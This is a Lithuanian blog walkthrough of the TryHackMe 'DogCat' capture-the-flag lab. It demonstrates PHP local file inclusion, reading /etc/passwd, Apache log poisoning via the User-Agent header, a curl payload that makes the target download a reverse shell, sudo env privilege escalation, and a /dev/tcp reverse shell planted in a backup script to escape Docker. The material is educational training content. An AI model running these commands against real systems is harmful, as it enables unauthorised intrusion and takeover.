DogCat Iššūkio Demonstracija TryHackMe Platformoje

Tomas Savenas
savenas.lt
Published in
6 min readJul 29, 2020

--

TryHackMe platforma skirta lavinti etiško įsilaužimo testavimo įgūdžius. Aplinkoje yra įvairių užduočių pritaikytų tiek naujokui tiek patyrusiam ekspertui. Visada galima ką nors naujo sužinoti ir tobulėti. Naujokams yra parašyti pagalbiniai gidai kaip atlikti pažingsniui. Patyrusiems yra iššūkiai kuriems reikia gerokai daugiau pastangų, aprašymų nėra, tačiau tik viena kita užuomena. Ši demostracija yra kaip įveikti DogCat iššūkį pažingsniui.

DogCat

Iššūkis skirtas pasibandyti išnaudoti “Local File Inclusion” arba LFI pažeidžiamumą per „Apache Log Poisoning” ataką [5].

Šiame VM veikia Apache web serveris kartu su PHP. Minėta LFI [6] [8] galima atlikti per PHP funcijas include() [7]. Kad nelaikyti PHP kodo viename faile, atskyrais moduliais galima aprašyti index.php faile pvz.: 1.php ir 2.ph ir su include() funcija dinamiškai iškviesti minėtus failus. Kas jeigu mes duotume kitą sistemos lokalų failą /var/logs/apache2/access.log? Faile nėra PHP sintaksės, jo dinamiskai nevykdys tik atvaizduos kaip tekstą. O kokiu atvejų mes galėtume įrašyti PHP kodą kurį įvykdytų? Žinoma mes neturime prieigos nutolusiame serveryje, tačiau vienas būdais. Serveris visą laiką registruoja užklausas į savo logą. Tą logą taip pat galima iškviesti su include funkcija, reikės apeiti apsaugas, išeitės kodo nesimatys, bus iššūkis sužinoti kaip reikia apeiti. Tačiau derinant kitas atakas ir metodus galima bus prieiti prie sistemos. Sistema bus izoliuota konteineryje, reikės panaudoti “Reverse Shell” metodiką. Mums reikės iš viso keturių atskirų terminalo langų arba screen sesijų.

Pradedam nuo tos vietos kai esame pasiruoše savo įrankius pvz.: Kali VM ir esame prisijungę į “dogcat” kambarį.

Pačiame viršuje yra pirmojį užduotis, žalias mygtukas “Deploy”. Paleisk ji, kad pasileistų testavimo VM. Taip pat viršuje pasirodys IP adresas, mano atveju jis yra 10.10.139.166, o Kali VM IP adresas yra 10.10.112.144 aš visai likusiai demonstracijai naudosiu taip pat komandose jie bus palikti.

Jūsų atveju pasikeiskite į tokį kokį rodo. Siekiant išvengti klaidų ten kur bus du adresai vienoje eilutėje bus pavadinta web serveris ir Kali VM.

Rekomenduoju atsidaryti tekstinį failą ir registruoti kiekvieną komandą kurią vedame, jeigu reiktų galėtume grįšti pakoreguoti taip pasirašyti savo ir taikinio IP adresus viršuje, nes vėliau reikės atlikti komandų, kad nesusipainioti:

Mano Taikinys: 10.10.139.166
Kali VM IP: 10.10.112.144

Pradėsime nuo įrankio nmap, daugiau apie jo panaudojimą [1].

nmap 10.10.139.166

Matome du pagrindiniai prievadai atverti: 22 ir 80. Toliau koncentruosimes ties jais ir bandysime sužinoti kokios paslaugos ir versijos yra šiame serveryje.

nmap 10.10.139.166 -A -p 22,80

Gavome atsakymą:

PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 24:31:19:2a:b1:97:1a:04:4e:2c:36:ac:84:0a:75:87 (RSA)
| 256 21:3d:46:18:93:aa:f9:e7:c9:b5:4c:0f:16:0b:71:e1 (ECDSA)
|_ 256 c1:fb:7d:73:2b:57:4a:8b:dc:d7:6f:49:bb:3b:d0:20 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: dogcat

Matome web serverio versija Apache/2.4.38 (Debian) ir OpenSSH 7.6p1 Ubuntu.

Toliau atidarysime naršyklėje ar su kitu įrankiu pasižiūrėti koks turinys yra užkraunamas. Naršyklėje matome tokį turinį:

Kai paspaudžiame ant kačiuko arba šuniuko, vykdomą užklausą į serverį ir URL nuorodą atrodo taip:

?view=dog arba ?view=cat

Taip pat iškvietus su curl komanda:

curl http://10.10.139.166/

Gaunas rezultatas:

...
<a href="/?view=dog"><button id="dog">A dog</button></a>
<a href="/?view=cat"><button id="cat">A cat</button></a>
...

Argumentas yra view. Pabandykime pažaisti su nuorodą ir Linux failu gal pavyks nuskaity lokalius failus:

curl "http://10.10.139.166/?view=dog/../../../../etc/passwd"

Gavome klaidą:

include(dog/../../../../etc/passwd.php): failed to open stream: No such file or directory in <b>/var/www/html/index.php</b> on line <b>24</b><br />

Įvyko klaida kviečiant su funkcija include().Mūsų gauti index.php failą ir peržiūrėti išeities kodą, pabandykime tiesiog pridėti index viena direktorija atgal štai taip:

curl "http://10.10.139.166/?view=dog/../index"

Gauname rezultatą:

Cannot redeclare containsStr() (previously declared in /var/www/html/index.php:17)

Konfliktas su include() funcija, paprastai ši klaida kyla, kai bandoma paskelbti tą pačią funcija du kartus. Galime užkoduokime failą su base64, prieš jam perduodant include() funkcijai.

curl "http://10.10.139.166/?view=php://filter/convert.base64-encode/resource=dog/../index"

Gauname turinį užkoduotu base64 formatu.

<a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>Here you go!PCFET0NUWVBFIEhUTUw+CjxodG1sPgoKPGhlYWQ+CiAgICA8dGl0bGU+ZG9nY2F0PC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIGhyZWY9Ii9zdHlsZS5jc3MiPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDxoMT5kb2djYXQ8L2gxPgogICAgPGk+YSBnYWxsZXJ5IG9mIHZhcmlvdXMgZG9ncyBvciBjYXRzPC9pPgoKICAgIDxkaXY+CiAgICAgICAgPGgyPldoYXQgd291bGQgeW91IGxpa2UgdG8gc2VlPzwvaDI+CiAgICAgICAgPGEgaHJlZj0iLz92aWV3PWRvZyI+PGJ1dHRvbiBpZD0iZG9nIj5BIGRvZzwvYnV0dG9uPjwvYT4gPGEgaHJlZj0iLz92aWV3PWNhdCI+PGJ1dHRvbiBpZD0iY2F0Ij5BIGNhdDwvYnV0dG9uPjwvYT48YnI+CiAgICAgICAgPD9waHAKICAgICAgICAgICAgZnVuY3Rpb24gY29udGFpbnNTdHIoJHN0ciwgJHN1YnN0cikgewogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnBvcygkc3RyLCAkc3Vic3RyKSAhPT0gZmFsc2U7CiAgICAgICAgICAgIH0KCSAgICAkZXh0ID0gaXNzZXQoJF9HRVRbImV4dCJdKSA/ICRfR0VUWyJleHQiXSA6ICcucGhwJzsKICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpIHsKICAgICAgICAgICAgICAgIGlmKGNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICdkb2cnKSB8fCBjb250YWluc1N0cigkX0dFVFsndmlldyddLCAnY2F0JykpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICdIZXJlIHlvdSBnbyEnOwogICAgICAgICAgICAgICAgICAgIGluY2x1ZGUgJF9HRVRbJ3ZpZXcnXSAuICRleHQ7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJ1NvcnJ5LCBvbmx5IGRvZ3Mgb3IgY2F0cyBhcmUgYWxsb3dlZC4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgPz4KICAgIDwvZGl2Pgo8L2JvZHk+Cgo8L2h0bWw+Cg==    </div>
</body>

Viskas kas yra po “Here you go!” ir baigiasi su dviguba lygybe yra base64 formatu užkoduotas index.php failas, galima naudoti online konverterį arba tiesiai išterminalo iškviesti base64 dekoderį. Pasirinkau kintamaji text ir reikšmė užduotas tekstas.

text=PCFET0NUWVBFIEhUTUw+Cjxo.....

Po to iškviečiu dekoderį:

echo $text | base64 --decode

Matau rezultatas turinys su HTML ir PHP sintakse:

<!DOCTYPE HTML>
<html>
<head>
<title>dogcat</title>
<link rel="stylesheet" type="text/css" href="/style.css">
</head>
<body>
<h1>dogcat</h1>
<i>a gallery of various dogs or cats</i>
<div>
<h2>What would you like to see?</h2>
<a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
<?php
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['view'])) {
if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
echo 'Here you go!';
include $_GET['view'] . $ext;
} else {
echo 'Sorry, only dogs or cats are allowed.';
}
}
?>
</div>
</body>
</html>

Matome yra $ext kintamasis kuris prideda .php plėtinį kas karta prie užklausos, dėl to galime matyti klaidas. Taigi jeigu mūsų užklausome yra tekstas cat ar dog turėtų praleisti ir netikrinti. Pabandykime pavaiksčio failų sistemoje išnaudodami “Path Traversal” ataką kartu patys priedami argumentą “ext”

curl  "http://10.10.139.166/?view=dog/../../../../etc/passwd&ext="

Na štai pavyko atsakymas iš serverio su passwd failo turiniu:

Here you go!root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
</div>
</body>

Jeigu galime peržiūrėti Apache serverio logus:

curl  "http://10.10.139.166/?view=dog/../../../../../var/log/apache2/access.log&ext="

Rezultatas matome prieiga prie log failų sistemoje:

127.0.0.1 - - [29/Jul/2020:20:44:57 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
127.0.0.1 - - [29/Jul/2020:20:45:28 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
127.0.0.1 - - [29/Jul/2020:20:45:58 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
10.10.112.144 - - [29/Jul/2020:20:46:02 +0000] "GET /var/log/apache2/access.log&ext= HTTP/1.1" 404 436 "-" "curl/7.67.0"
127.0.0.1 - - [29/Jul/2020:20:46:28 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
</div>
</body>

Komandos įterptos į URL veikia, failų nuskaitymo tokios kaip cat. Tokios kaip ls ir kitos nėra interpretuojamos lokaliai. Taip ir turėtų būti. Tačiau User-Agent lauke yra pažeidžiamumas ir jos bus įvykdomos. Pabandyti panaudoti Apache Logs poisining per User-Agent ataką.

curl -A "<?php system('id');?>" "http://webserverio.ip/"

Kai paleisime dar karta komanda kuri nuskaitys ir logus, pamatysime, kad įvykdė komandą id ir parodė, kad serveris veikia su www-data naudotoju.

curl  "http://webserverio.ip/?view=dog/../../../../../var/log/apache2/access.log&ext="

Pradžioje pasiruoškite Reverse Shell, jeigu norite daugiau sužinoti apie Reverse Shell [4]

cp /usr/share/webshells/php/php-reverse-shell.php /root/shell.php && cd /root

Pasikoreguokime, failą shell.php pvz.: su nano ir pakeistikime IP reikšmę iš 127.0.0.1 į savo Kali VM adresą.

nano shell.php

nano užsauguoti ctrl+x.

Kitame terminale pasikuriame nc serverį su prievadų 1234, nes toks būsų Revers Shell prievadas.

nc -lp 1234

Dar kitame terminale pasikuriame savo webserverį naudojame Python

python3 -m http.server 80

Tuomet paleidžiame užklausą: Pastaba turi skirtis galutinio ir esamo kliento ir serverio IP adresai.

curl -A "<?php file_put_contents('shell.php',file_get_contents('http://kali.vm.adresas/shell.php'))?>" -s http://serverio.adresas/

Kai nusiuntėme užklausą, pats web serveris turėjo atgaliniu būdu padaryti užklausą į mūsų webserį ir pasiimti shell.php failą pas save.

Tuomet kai tik paleisime:

curl  "http://10.10.139.166/shell.php"

Gausime atgaliniu būdu nuotolinę sesiją. Įvede komandas žemiau sužinosime kokios mūsų galimybės.

whoami && sudo -l

Matome, kad naudotojas www-data gali kviesti env komandą sudo teisėmis, kuri nereikalaują įvesti slaptažodį prieš sudo.

Pasikelkime priegos į root teises:

sudo env /bin/bash -i

Jeigu parašysime komandą ls -lą, tarp rezultatų bus .dockerenv failiukas kuris pasufleruos, kad mes esame Docker konteineryje.

Toliau paieškokime vėliavų

find / -type f -iname "*flag*" 2> /dev/null | grep -vP ^/sys/

Radome įvairių failų su flag vardais, kažkurie iš jų yra reikiamos vėliavos, su cat komandą galima išspauzdinti vidinį turinį. Pastutinė vėliavą yra kitur, reikės iškrapšyti, nes mūsų sistemą veikia Docker konteineryje.

cd /opt/backups && ls

Matome scriptą backup.sh, galime peržiūrėti jo turinį su cat komandą. Tačiau mums reikia pabėgti iš Dockerio vienšas iš būdų būtu pasikurti dar vieną Reverse Shell ir per ji patekti į pagrindinią VM. Tad reiktų tą failiuką užrašyti su komandą žemiau:

echo "#!/bin/bash" > backup.sh
echo "bash -i >& /dev/tcp/Kali.VM.IP.Adresas/4321 0>&1" >> backup.sh

Kitame terminalo lange pasileidžiame dar vieną sesija iš Kali VM paleidžiame

nc -lp 4321

scriptas, pastoviai sukasi ir leidžia komanda, tai turėtume greitai gauti sesija ir įvedę ls komandą matysime flag4.

Šaltiniai:

#1 https://medium.com/hackerman-lt/kas-yra-nmap-ir-kaip-juo-naudotis-49a376400e8c
#2 https://medium.com/@whokilleddb/dogcat-walk-through-from-tryhackme-2c3c60ee2829
#3 https://www.youtube.com/watch?v=zGDbi15Jkqw
#4 https://medium.com/hackerman-lt/kas-yra-reverse-shell-ir-kaip-juo-naudotis-9d9bd43d1207
#5 https://www.hackingarticles.in/apache-log-poisoning-through-lfi/
#6 https://www.netsparker.com/blog/web-security/local-file-inclusion-vulnerability/
#7 https://www.w3schools.com/php/php_includes.asp
#8 https://www.hackingarticles.in/comprehensive-guide-to-local-file-inclusion/

--

--

Tomas Savenas
savenas.lt

Kibernetinio saugumo entuziastas; Aktyviausias Lietuvis TryHackMe platformoje; Inovacijų valdymo ir Antreprenerystės Magistrantas @ KTU